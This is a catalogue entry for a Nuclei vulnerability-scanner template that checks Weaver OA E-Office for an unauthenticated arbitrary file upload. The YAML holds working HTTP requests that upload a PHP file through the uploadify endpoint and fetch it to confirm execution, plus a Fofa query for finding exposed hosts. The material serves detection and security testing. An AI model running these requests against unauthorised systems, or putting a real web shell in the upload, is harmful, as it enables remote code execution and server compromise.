weaver-jquery-file-upload: OA E-Office jQuery - Arbitrary File Upload
- Template: weaver-jquery-file-upload
- Name: OA E-Office jQuery - Arbitrary File Upload
- Description: Arbitrary File Upload in OA E-Office jQuery.
- Severity: critical
- Authors: SleepingBag945
- Tags: weaver, e-office, oa, instrusive, rce, intrusive, vuln
- References: https://github.com/w-digital-scanner/w9scan/blob/master/plugins/weaver_oa/2158.py
- Verified: yes
- Max requests: 3
- Directory: http/vulnerabilities
- Path: http/vulnerabilities/weaver/weaver-jquery-file-upload.yaml
- Digest: 4a0a00473045022100b6b7ed8f057a6a9c3c6776360dadfc03eedc8c727de3f484fe9ba455656e0841022035bb58d371c0e93c0a9099061856fd4db1fdd6068a4d42fde5384ec698431a6a
- Created at: 2023-09-18T12:43:14Z
- Updated at: 2026-04-14T14:09:18Z
- Age in days: 1163
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/weaver/weaver-jquery-file-upload.yaml
- Checked, none or zero: cves
- Not known: impact, remediation
Classification
- Cwe: CWE-434
- Cpe: cpe:2.3:a:weaver:e-office:*:*:*:*:*:*:*:*
- Not known: cvss score, cvss vector, epss score, epss percentile
Metadata
- Fofa-query: app="泛微-EOffice"
- Max-request: 3
- Product: e-office
- Vendor: weaver
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| weaver:e-office | yes | /v1/products/weaver/e-office |
Labels
- Name: OA E-Office - Arbitrary File Upload
- Impact: Attackers can upload and execute arbitrary files, potentially leading to remote code execution and full system compromise.
- Remediation: Update to the latest version of OA E-Office.
- Vulnerability type: unrestricted_file_upload
- Vulnerability impact: file_system_write, remote_code_execution
- Requirement type: none
- Labels source: securitycontext
- Not known: requirements, from cve
```yaml
id: weaver-jquery-file-upload
info:
name: OA E-Office jQuery - Arbitrary File Upload
author: SleepingBag945
severity: critical
description: Arbitrary File Upload in OA E-Office jQuery.
reference:
- https://github.com/w-digital-scanner/w9scan/blob/master/plugins/weaver_oa/2158.py
classification:
cpe: cpe:2.3:a:weaver:e-office:*:*:*:*:*:*:*:*
cwe-id: CWE-434
metadata:
verified: true
max-request: 3
fofa-query: app="泛微-EOffice"
product: e-office
vendor: weaver
tags: weaver,e-office,oa,instrusive,rce,intrusive,vuln
variables:
filename: "{{to_lower(rand_base(5))}}"
string: "{{randstr}}"
http:
- raw:
- |
GET /inc/jquery/uploadify/uploadify.php HTTP/1.1
Host: {{Hostname}}
- |
POST /inc/jquery/uploadify/uploadify.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjetvpuye
Accept-Encoding: gzip
------WebKitFormBoundaryjetvpuye
Content-Disposition: form-data; name="Filedata"; filename="{{filename}}.php"
Content-Type: application/octet-stream
<?php echo "{{string}}";unlink(__FILE__);?>
------WebKitFormBoundaryjetvpuye--
- |
GET /attachment/{{attachmentID}}/{{filename}}.php HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: attachmentID
internal: true
regex:
- "[0-9]{10}"
matchers-condition: and
matchers:
- type: dsl
dsl:
- "status_code_1 == 200"
- "status_code_3 == 200 && contains(body_3,'{{string}}')"
condition: and
digest: 4a0a00473045022100b6b7ed8f057a6a9c3c6776360dadfc03eedc8c727de3f484fe9ba455656e0841022035bb58d371c0e93c0a9099061856fd4db1fdd6068a4d42fde5384ec698431a6a:922c64590222798bb761d5b6d8e72950
```